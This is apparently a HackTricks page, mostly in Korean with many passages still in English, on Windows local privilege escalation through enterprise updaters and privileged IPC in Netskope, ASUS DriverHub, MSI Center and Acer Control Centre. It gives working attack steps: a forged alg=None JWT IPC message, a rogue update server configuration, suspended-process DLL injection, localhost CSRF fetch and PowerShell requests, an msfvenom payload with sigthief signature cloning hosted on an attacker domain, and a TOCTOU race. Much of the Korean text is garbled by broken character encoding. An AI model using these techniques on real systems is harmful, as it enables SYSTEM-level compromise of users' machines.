์ํฐํ๋ผ์ด์ฆ ์๋ ์ ๋ฐ์ดํธ ๋ฐ ๊ถํ ์๋ IPC ์ ์ฉ (e.g., Netskope, ASUS & MSI)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ ์ ๋ง์ฐฐ IPC ์ธํฐํ์ด์ค์ ๊ถํ ์๋ ์ ๋ฐ์ดํธ ํ๋ก์ฐ๋ฅผ ๋ ธ์ถํ๋ ์ํฐํ๋ผ์ด์ฆ ์๋ํฌ์ธํธ ์์ด์ ํธ ๋ฐ ์ ๋ฐ์ดํฐ๋ค์์ ๋ฐ๊ฒฌ๋๋ Windows ๋ก์ปฌ ๊ถํ ์์น ์ฒด์ธ ๋ฒ์ฃผ๋ฅผ ์ผ๋ฐํํฉ๋๋ค. ๋ํ์ ์ธ ์๋ก Netskope Client for Windows < R129 (CVE-2025-0309)๊ฐ ์์ผ๋ฉฐ, ์ฌ๊ธฐ์ ๋ฎ์ ๊ถํ์ ์ฌ์ฉ์๋ enrollment๋ฅผ ๊ณต๊ฒฉ์ ์ ์ด ์๋ฒ๋ก ๊ฐ์ ํ ๋ค SYSTEM ์๋น์ค๊ฐ ์ค์นํ๋ ์ ์ฑ MSI๋ฅผ ์ ๋ฌํ ์ ์์ต๋๋ค.
๋น์ทํ ์ ํ์ ์ฌ์ฌ์ฉํ ์ ์๋ ์ฃผ์ ์์ด๋์ด:
- ๊ถํ ์๋ ์๋น์ค์ localhost IPC๋ฅผ ์ ์ฉํด ๊ณต๊ฒฉ์ ์๋ฒ๋ก์ ์ฌ๋ฑ๋ก ๋๋ ์ฌ๊ตฌ์ฑ์ ๊ฐ์ ํ๋ค.
- ๋ฒค๋์ ์ ๋ฐ์ดํธ ์๋ํฌ์ธํธ๋ฅผ ๊ตฌํํ๊ณ ์ ์ฑ Trusted Root CA๋ฅผ ๋ฐฐํฌํ ๋ค, ์ ๋ฐ์ดํธ ํ๋ก๊ทธ๋จ์ ์ ์ฑ โ์๋ช ๋โ ํจํค์ง๋ก ๊ฐ๋ฆฌํจ๋ค.
- ์ฝํ ์๋ช ์ ๊ฒ์ฌ(CN allow-lists), ์ ํ์ digest ํ๋๊ทธ, ๋์จํ MSI ์์ฑ์ ํํผํ๋ค.
- IPC๊ฐ โ์ํธํโ๋์ด ์๋ค๋ฉด, ๋ ์ง์คํธ๋ฆฌ์ ์ ์ฅ๋ ๋ชจ๋๊ฐ ์ฝ์ ์ ์๋ ๋จธ์ ์๋ณ์์์ key/IV๋ฅผ ์ ๋ํ๋ค.
- ์๋น์ค๊ฐ ํธ์ถ์๋ฅผ image path/process name์ผ๋ก ์ ํํ๋ฉด, ํ์ฉ๋ ํ๋ก์ธ์ค์ ์ธ์ ์ ํ๊ฑฐ๋ ํ๋ก์ธ์ค๋ฅผ suspended ์ํ๋ก ์์ฑํ ๋ค ์ต์ํ์ thread-context ํจ์น๋ก DLL์ ๋ถํธ์คํธ๋ฉํ๋ค.
1) localhost IPC๋ฅผ ํตํด ๊ณต๊ฒฉ์ ์๋ฒ๋ก์ ๋ฑ๋ก ๊ฐ์
๋ง์ ์์ด์ ํธ๋ JSON์ ์ฌ์ฉํด localhost TCP๋ก SYSTEM ์๋น์ค์ ํต์ ํ๋ user-mode UI ํ๋ก์ธ์ค๋ฅผ ํฌํจํฉ๋๋ค.
Netskope์์ ๊ด์ฐฐ๋จ:
- UI: stAgentUI (low integrity) โ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
์ต์คํ๋ก์ ํ๋ฆ:
- ๋ฐฑ์๋ ํธ์คํธ(e.g., AddonUrl)๋ฅผ ์ ์ดํ๋ ํด๋ ์์ ๊ฐ์ง JWT enrollment ํ ํฐ์ ์์ฑํฉ๋๋ค. alg=None์ ์ฌ์ฉํด ์๋ช ์ด ํ์ ์๋๋ก ํฉ๋๋ค.
- JWT์ tenant name์ ํฌํจํด provisioning ๋ช ๋ น์ ํธ์ถํ๋ IPC ๋ฉ์์ง๋ฅผ ๋ณด๋ ๋๋ค:
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
- ์๋น์ค๊ฐ ๋ฑ๋ก/๊ตฌ์ฑ(enrollment/config)์ ์ํด ์ ์ฑ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ด๊ธฐ ์์ํฉ๋๋ค. ์:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Notes:
- If caller verification is path/name-based, originate the request from a allow-listed vendor binary (see ยง4).
2) Hijacking the update channel to run code as SYSTEM
Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:
- /v2/config/org/clientconfig โ Return JSON config with a very short updater interval, e.g.:
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
- /config/ca/cert โ PEM CA ์ธ์ฆ์๋ฅผ ๋ฐํํฉ๋๋ค. ์๋น์ค๊ฐ ์ด๋ฅผ Local Machine Trusted Root store์ ์ค์นํฉ๋๋ค.
- /v2/checkupdate โ ์ ์ฑ MSI์ ๊ฐ์ง ๋ฒ์ ์ ๊ฐ๋ฆฌํค๋ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ๊ณตํฉ๋๋ค.
Bypassing common checks seen in the wild:
- Signer CN allow-list: ์๋น์ค๊ฐ Subject CN์ด โnetSkope Incโ ๋๋ โNetskope, Inc.โ์ธ์ง ์ฌ๋ถ๋ง ํ์ธํ ์ ์์ต๋๋ค. ์ ์ฑ CA๋ ํด๋น CN์ ๊ฐ์ง leaf๋ฅผ ๋ฐ๊ธํด MSI์ ์๋ช ํ ์ ์์ต๋๋ค.
- CERT_DIGEST property: CERT_DIGEST๋ผ๋ ์ ์ MSI ์์ฑ์ ํฌํจํ์ธ์. ์ค์น ์ ๊ฐ์ ๋์ง ์์ต๋๋ค.
- Optional digest enforcement: ๊ตฌ์ฑ ํ๋๊ทธ(์: check_msi_digest=false)๊ฐ ์ถ๊ฐ ์ํธํ ๊ฒ์ฆ์ ๋นํ์ฑํํฉ๋๋ค.
Result: SYSTEM ์๋น์ค๊ฐ C:\ProgramData\Netskope\stAgent\data*.msi์์ MSI๋ฅผ ์ค์นํด NT AUTHORITY\SYSTEM์ผ๋ก ์์ ์ฝ๋๋ฅผ ์คํํฉ๋๋ค.
3) Forging encrypted IPC requests (when present)
R127๋ถํฐ Netskope๋ IPC JSON์ Base64์ฒ๋ผ ๋ณด์ด๋ encryptData ํ๋๋ก ๋ํํ์ต๋๋ค. ๋ฆฌ๋ฒ์ค ๊ฒฐ๊ณผ, ํค/IV๊ฐ ๋ชจ๋ ์ฌ์ฉ์๊ฐ ์ฝ์ ์ ์๋ ๋ ์ง์คํธ๋ฆฌ ๊ฐ์์ ํ์๋ AES์์ด ๋๋ฌ๋ฌ์ต๋๋ค:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
๊ณต๊ฒฉ์๋ ์ํธํ๋ฅผ ์ฌํํด ์ผ๋ฐ ์ฌ์ฉ์ ๊ณ์ ์์ ์ ํจํ ์ํธํ๋ ๋ช ๋ น์ ๋ณด๋ผ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ธ ํ: ์์ด์ ํธ๊ฐ ๊ฐ์๊ธฐ IPC๋ฅผ โ์ํธํโํ๊ธฐ ์์ํ๋ฉด, HKLM ์๋์ device ID, product GUID, install ID ๋ฑ์ ์ฌ๋ฃ๋ก ์ฌ์ฉํ๋์ง ์ฐพ์๋ณด์ธ์.
4) Bypassing IPC caller allow-lists (path/name checks)
์ผ๋ถ ์๋น์ค๋ TCP ์ฐ๊ฒฐ์ PID๋ฅผ ํ์ธํ๊ณ ์ด๋ฏธ์ง ๊ฒฝ๋ก/์ด๋ฆ์ Program Files ์๋์ ํ์ฉ๋ ๋ฒค๋ ๋ฐ์ด๋๋ฆฌ(์: stagentui.exe, bwansvc.exe, epdlp.exe)์ ๋น๊ตํด ํผ์ด๋ฅผ ์ธ์ฆํ๋ ค ํฉ๋๋ค.
์ค์ฉ์ ์ธ ์ฐํ ๋ฐฉ๋ฒ ๋ ๊ฐ์ง:
- DLL injection์ ํ์ฉ๋ ํ๋ก์ธ์ค(์: nsdiag.exe)์ ์ํํ๊ณ ๋ด๋ถ์์ IPC๋ฅผ ํ๋ก์ํฉ๋๋ค.
- ํ์ฉ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ผ์ ์ค๋จ๋ ์ํ๋ก ์คํํ ๋ค CreateRemoteThread ์์ด ํ๋ก์ DLL์ ๋ถํธ์คํธ๋ฉ(ยง5 ์ฐธ๊ณ )ํ์ฌ ๋๋ผ์ด๋ฒ๊ฐ ๊ฐ์ ํ๋ ๋ณ์กฐ ๊ท์น์ ๋ง์กฑ์ํต๋๋ค.
5) Tamper-protection friendly injection: suspended process + NtContinue patch
์ ํ๋ค์ ์ข ์ข ๋ณดํธ๋ ํ๋ก์ธ์ค ํธ๋ค์์ ์ํํ ๊ถํ์ ์ ๊ฑฐํ๊ธฐ ์ํด minifilter/OB callbacks ๋๋ผ์ด๋ฒ(์: Stadrv)๋ฅผ ๋๋ดํฉ๋๋ค:
- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME๋ฅผ ์ ๊ฑฐํฉ๋๋ค
- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE๋ก ์ ํํฉ๋๋ค
์ด ์ ์ฝ์ ์ค์ํ๋ ์ ๋ขฐํ ์ ์๋ user-mode ๋ก๋:
- ๋ฒค๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ CREATE_SUSPENDED๋ก CreateProcess ํฉ๋๋ค.
- ์ฌ์ ํ ์ป์ ์ ์๋ ํธ๋ค์ ํ๋ณดํฉ๋๋ค: ํ๋ก์ธ์ค์ ๋ํด PROCESS_VM_WRITE | PROCESS_VM_OPERATION, ๊ทธ๋ฆฌ๊ณ THREAD_GET_CONTEXT/THREAD_SET_CONTEXT ๊ถํ(๋๋ ์๋ ค์ง RIP์์ ์ฝ๋๋ฅผ ํจ์นํ ๊ฒฝ์ฐ์๋ THREAD_RESUME๋ง) ์๋ ์ค๋ ๋ ํธ๋ค.
- ntdll!NtContinue(๋๋ ์ด๊ธฐ๋ถํฐ ๋งคํ๋ ๋ค๋ฅธ thunk)๋ฅผ LoadLibraryW๋ก ๋น์ ์ DLL ๊ฒฝ๋ก๋ฅผ ํธ์ถํ ๋ค์ ๋ค์ ์ ํํ๋๋ก ํ๋ ์์ ์คํ ์ผ๋ก ๋ฎ์ด์๋๋ค.
- ResumeThread๋ก ์คํ ์ ํธ๋ฆฌ๊ฑฐํด ํ๋ก์ธ์ค ๋ด์์ DLL์ ๋ก๋ํฉ๋๋ค.
์ด๋ฏธ ๋ณดํธ๋ ํ๋ก์ธ์ค์ ๋ํด PROCESS_CREATE_THREAD๋ PROCESS_SUSPEND_RESUME์ ์ฌ์ฉํ์ง ์์๊ธฐ ๋๋ฌธ์(ํ๋ก์ธ์ค๋ฅผ ์์ฑํ์ผ๋ฏ๋ก) ๋๋ผ์ด๋ฒ์ ์ ์ฑ ์ ๋ง์กฑํฉ๋๋ค.
6) Practical tooling
- NachoVPN (Netskope plugin) ์ rogue CA, ์ ์ฑ MSI ์๋ช ๊ณผ์ ์ ์๋ํํ๊ณ /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate ๊ฐ์ ํ์ํ ์๋ํฌ์ธํธ๋ฅผ ์ ๊ณตํฉ๋๋ค.
- UpSkope๋ ์์์(์ ํ์ ์ผ๋ก AES-encrypted๋) IPC ๋ฉ์์ง๋ฅผ ์ ์ํ ์ ์๋ ์ปค์คํ IPC ํด๋ผ์ด์ธํธ์ด๋ฉฐ, ํ์ฉ๋ ๋ฐ์ด๋๋ฆฌ์์ ์์ํ๋๋ก suspended-process ์ธ์ ์ ์ ํฌํจํฉ๋๋ค.
1) Browser-to-localhost CSRF against privileged HTTP APIs (ASUS DriverHub)
DriverHub๋ 127.0.0.1:53000์์ ๋ธ๋ผ์ฐ์ ํธ์ถ์ https://driverhub.asus.com์์ ์ค๋ ๊ฒ์ผ๋ก ๊ธฐ๋ํ๋ ์ฌ์ฉ์ ๋ชจ๋ HTTP ์๋น์ค(ADU.exe)๋ฅผ ์ ๊ณตํฉ๋๋ค. Origin ํํฐ๋ Origin ํค๋์ /asus/v1.0/*๋ก ๋
ธ์ถ๋ ๋ค์ด๋ก๋ URL์ ๋ํด ๋จ์ํ string_contains(".asus.com")์ ์ํํฉ๋๋ค. ๋ฐ๋ผ์ https://driverhub.asus.com.attacker.tld์ ๊ฐ์ ๊ณต๊ฒฉ์ ์ ์ด ํธ์คํธ๋ ๊ฒ์ฌ๋ฅผ ํต๊ณผํ๊ณ JavaScript์์ ์ํ ๋ณ๊ฒฝ ์์ฒญ์ ๋ณด๋ผ ์ ์์ต๋๋ค. ์ถ๊ฐ ์ฐํ ํจํด์ CSRF basics๋ฅผ ์ฐธ์กฐํ์ธ์.
์ค์ฉ์ ํ๋ฆ:
.asus.com์ ํฌํจํ๋ ๋๋ฉ์ธ์ ๋ฑ๋กํ๊ณ ๊ทธ๊ณณ์ ์ ์ฑ ์นํ์ด์ง๋ฅผ ํธ์คํ ํฉ๋๋ค.fetch๋๋ XHR์ ์ฌ์ฉํดhttp://127.0.0.1:53000์ ๊ถํ ์๋ ์๋ํฌ์ธํธ(์:Reboot,UpdateApp)๋ฅผ ํธ์ถํฉ๋๋ค.- ํธ๋ค๋ฌ๊ฐ ๊ธฐ๋ํ๋ JSON ๋ฐ๋๋ฅผ ์ ์กํ์ธ์ โ ํจํน๋ frontend JS๊ฐ ์๋ ์คํค๋ง๋ฅผ ๋ณด์ฌ์ค๋๋ค.
fetch("http://127.0.0.1:53000/asus/v1.0/Reboot", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ Event: [{ Cmd: "Reboot" }] })
});
์๋์ ํ์๋ PowerShell CLI๋ Origin header๊ฐ ์ ๋ขฐ๋ ๊ฐ์ผ๋ก spoofed๋๋ฉด ์ฑ๊ณตํฉ๋๋ค:
Invoke-WebRequest -Uri "http://127.0.0.1:53000/asus/v1.0/Reboot" -Method Post \
-Headers @{Origin="https://driverhub.asus.com"; "Content-Type"="application/json"} \
-Body (@{Event=@(@{Cmd="Reboot"})}|ConvertTo-Json)
Any browser visit to the attacker site therefore becomes a 1-click (or 0-click via onload) local CSRF that drives a SYSTEM helper.
2) Insecure code-signing verification & certificate cloning (ASUS UpdateApp)
/asus/v1.0/UpdateApp downloads arbitrary executables defined in the JSON body and caches them in C:\ProgramData\ASUS\AsusDriverHub\SupportTemp. Download URL validation reuses the same substring logic, so http://updates.asus.com.attacker.tld:8000/payload.exe is accepted. After download, ADU.exe merely checks that the PE contains a signature and that the Subject string matches ASUS before running it โ no WinVerifyTrust, no chain validation.
ํ๋ฆ์ ๋ฌด๊ธฐํํ๋ ค๋ฉด:
- ํ์ด๋ก๋๋ฅผ ์์ฑํฉ๋๋ค (์:
msfvenom -p windows/exec CMD=notepad.exe -f exe -o payload.exe). - ASUS์ ์๋ช
์๋ฅผ ํ์ด๋ก๋์ ํด๋ก ํฉ๋๋ค (์:
python sigthief.py -i ASUS-DriverHub-Installer.exe -t payload.exe -o pwn.exe). pwn.exe๋ฅผ.asus.com์ ์ฌ ๋๋ฉ์ธ์ ํธ์คํ ํ๊ณ ์์ ๋ธ๋ผ์ฐ์ CSRF๋ฅผ ํตํด UpdateApp์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
Origin๊ณผ URL ํํฐ๊ฐ ๋ชจ๋ substring-based์ด๊ณ ์๋ช ์ ๊ฒ์ฌ๊ฐ ๋ฌธ์์ด ๋น๊ต๋ง ์ํํ๊ธฐ ๋๋ฌธ์, DriverHub๋ ์์น๋ ์ปจํ ์คํธ๋ก ๊ณต๊ฒฉ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฐ์ ธ์ ์คํํฉ๋๋ค.
1) TOCTOU inside updater copy/execute paths (MSI Center CMD_AutoUpdateSDK)
MSI Centerโs SYSTEM service exposes a TCP protocol where each frame is 4-byte ComponentID || 8-byte CommandID || ASCII arguments. The core component (Component ID 0f 27 00 00) ships CMD_AutoUpdateSDK = {05 03 01 08 FF FF FF FC}. Its handler:
- Copies the supplied executable to
C:\Windows\Temp\MSI Center SDK.exe. - Verifies the signature via
CS_CommonAPI.EX_CA::Verify(certificate subject must equal โMICRO-STAR INTERNATIONAL CO., LTD.โ andWinVerifyTrustsucceeds). - Creates a scheduled task that runs the temp file as SYSTEM with attacker-controlled arguments.
๋ณต์ฌ๋ ํ์ผ์ ๊ฒ์ฆ๊ณผ ExecuteTask() ์ฌ์ด์์ ์ ๊ธ๋์ง ์์ต๋๋ค. ๊ณต๊ฒฉ์๋:
- ์๋ช ์ด ์๋ ํฉ๋ฒ์ ์ธ MSI ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฐ๋ฆฌํค๋ Frame A๋ฅผ ๋ณด๋ ๋๋ค(์๋ช ๊ฒ์ฌ ํต๊ณผ์ ์์ ํ ๋ฑ๋ก์ ๋ณด์ฅ).
- ๋ฐ๋ณต๋๋ Frame B ๋ฉ์์ง๋ก ๋ ์ด์คํ์ฌ ์
์ฑ ํ์ด๋ก๋๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ํ๊ณ , ๊ฒ์ฆ์ด ์๋ฃ๋ ์งํ
MSI Center SDK.exe๋ฅผ ๋ฎ์ด์๋๋ค.
์ค์ผ์ค๋ฌ๊ฐ ์คํ๋ ๋, ์๋ ํ์ผ์ ๊ฒ์ฆํ์์๋ ๋ถ๊ตฌํ๊ณ ๋ฎ์ด์จ์ง ํ์ด๋ก๋๊ฐ SYSTEM ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค. ์ ๋ขฐํ ์ ์๋ ์ต์คํ๋ก์์ TOCTOU ์๋์ฐ๋ฅผ ํ๋ณดํ ๋๊น์ง CMD_AutoUpdateSDK๋ฅผ ์คํธํ๋ ๋ ๊ฐ์ goroutines/์ค๋ ๋๋ฅผ ์ฌ์ฉํฉ๋๋ค.
2) Abusing custom SYSTEM-level IPC & impersonation (MSI Center + Acer Control Centre)
MSI Center TCP command sets
MSI.CentralServer.exe๊ฐ ๋ก๋ํ๋ ๋ชจ๋ ํ๋ฌ๊ทธ์ธ/DLL์HKLM\SOFTWARE\MSI\MSI_CentralServer์ ์ ์ฅ๋ Component ID๋ฅผ ๋ฐ์ต๋๋ค. ํ๋ ์์ ์ฒ์ 4๋ฐ์ดํธ๊ฐ ํด๋น ์ปดํฌ๋ํธ๋ฅผ ์ ํํ๋ฏ๋ก ๊ณต๊ฒฉ์๋ ์์ ๋ชจ๋๋ก ๋ช ๋ น์ ๋ผ์ฐํ ํ ์ ์์ต๋๋ค.- ํ๋ฌ๊ทธ์ธ์ ์์ฒด task runner๋ฅผ ์ ์ํ ์ ์์ต๋๋ค.
Support\API_Support.dll๋CMD_Common_RunAMDVbFlashSetup = {05 03 01 08 01 00 03 03}๋ฅผ ๋ ธ์ถํ๊ณAPI_Support.EX_Task::ExecuteTask()๋ฅผ ์ง์ ํธ์ถํ๋ฉฐ ์๋ช ๊ฒ์ฆ์ด ์์ต๋๋ค โ ๋ชจ๋ ๋ก์ปฌ ์ฌ์ฉ์๊ฐC:\Users\<user>\Desktop\payload.exe๋ฅผ ๊ฐ๋ฆฌํค๋ฉด ๊ฒฐ์ ๋ก ์ ์ผ๋ก SYSTEM ์คํ์ ์ป์ ์ ์์ต๋๋ค. - Wireshark๋ก loopback์ ์ค๋ํํ๊ฑฐ๋ dnSpy๋ก .NET ๋ฐ์ด๋๋ฆฌ์ ์ธ์คํธ๋ฃจ๋จผํธํ๋ฉด Component โ command ๋งคํ์ด ๋น ๋ฅด๊ฒ ๋๋ฌ๋๋ฉฐ, ์ดํ ์ปค์คํ Go/ Python ํด๋ผ์ด์ธํธ๋ก ํ๋ ์์ ์ฌ์ํ ์ ์์ต๋๋ค.
Acer Control Centre named pipes & impersonation levels
ACCSvc.exe(SYSTEM)์\\.\pipe\treadstone_service_LightMode๋ฅผ ๋ ธ์ถํ๋ฉฐ, ๊ทธ ์ฌ๋ ACL์ ์๊ฒฉ ํด๋ผ์ด์ธํธ(์:\\TARGET\pipe\treadstone_service_LightMode)๋ฅผ ํ์ฉํฉ๋๋ค. ํ์ผ ๊ฒฝ๋ก์ ํจ๊ป command ID7์ ๋ณด๋ด๋ฉด ์๋น์ค์ ํ๋ก์ธ์ค ์์ฑ ๋ฃจํด์ด ํธ์ถ๋ฉ๋๋ค.- ํด๋ผ์ด์ธํธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ์ธ์์ ํจ๊ป ๋งค์ง ์ข
๋ฃ ๋ฐ์ดํธ(113)๋ฅผ ์ง๋ ฌํํฉ๋๋ค. Frida/
TsDotNetLib๋ก ๋์ ์ธ์คํธ๋ฃจ๋จผํธํ๋ฉด(์ธ์คํธ๋ฃจ๋จผํธ ํ์ Reversing Tools & Basic Methods ์ฐธ์กฐ) ๋ค์ดํฐ๋ธ ํธ๋ค๋ฌ๊ฐ ์ด ๊ฐ์SECURITY_IMPERSONATION_LEVEL๊ณผ ๋ฌด๊ฒฐ์ฑ SID์ ๋งคํํ ๋ค์CreateProcessAsUser๋ฅผ ํธ์ถํ๋ ๊ฒ์ ๋ณด์ฌ์ค๋๋ค. - 113 (
0x71)์ 114 (0x72)๋ก ๋ฐ๊พธ๋ฉด ์ ์ฒด SYSTEM ํ ํฐ์ ์ ์งํ๊ณ ๋์ ๋ฌด๊ฒฐ์ฑ SID(S-1-16-12288)๋ฅผ ์ค์ ํ๋ ์ผ๋ฐ ๋ถ๊ธฐ๋ก ๋จ์ด์ง๋๋ค. ๋ฐ๋ผ์ ์์ฑ๋ ๋ฐ์ด๋๋ฆฌ๋ ๋ก์ปฌ ๋ฐ ๊ต์ฐจ ๋จธ์ ๋ชจ๋์์ ์ ์ฝ ์๋ SYSTEM์ผ๋ก ์คํ๋ฉ๋๋ค. - ์ด๋ฅผ ๋
ธ์ถ๋ ์ค์น๊ธฐ ํ๋๊ทธ(
Setup.exe -nocheck)์ ๊ฒฐํฉํ๋ฉด ๋ฉ VM์์๋ ACC๋ฅผ ์ค์นํ์ฌ ๊ณต๊ธ์ ์ฒด ํ๋์จ์ด ์์ด ํ์ดํ๋ฅผ ํ ์คํธํ ์ ์์ต๋๋ค.
์ด๋ฌํ IPC ๋ฒ๊ทธ๋ localhost ์๋น์ค๊ฐ ์ํธ ์ธ์ฆ(ALPC SIDs, ImpersonationLevel=Impersonation ํํฐ, ํ ํฐ ํํฐ๋ง)์ ์ํํด์ผ ํ๋ ์ด์ ์ ๋ชจ๋ ๋ชจ๋์ โrun arbitrary binaryโ ํฌํผ๊ฐ ๋์ผํ ์๋ช
์ ๊ฒ์ฆ์ ๊ณต์ ํด์ผ ํ๋ ์ด์ ๋ฅผ ๊ฐ์กฐํฉ๋๋ค.
References
- Advisory โ Netskope Client for Windows โ Local Privilege Escalation via Rogue Server (CVE-2025-0309)
- NachoVPN โ Netskope plugin
- UpSkope โ Netskope IPC client/exploit
- NVD โ CVE-2025-0309
- SensePost โ Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4
- sensepost/bloatware-pwn PoCs
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


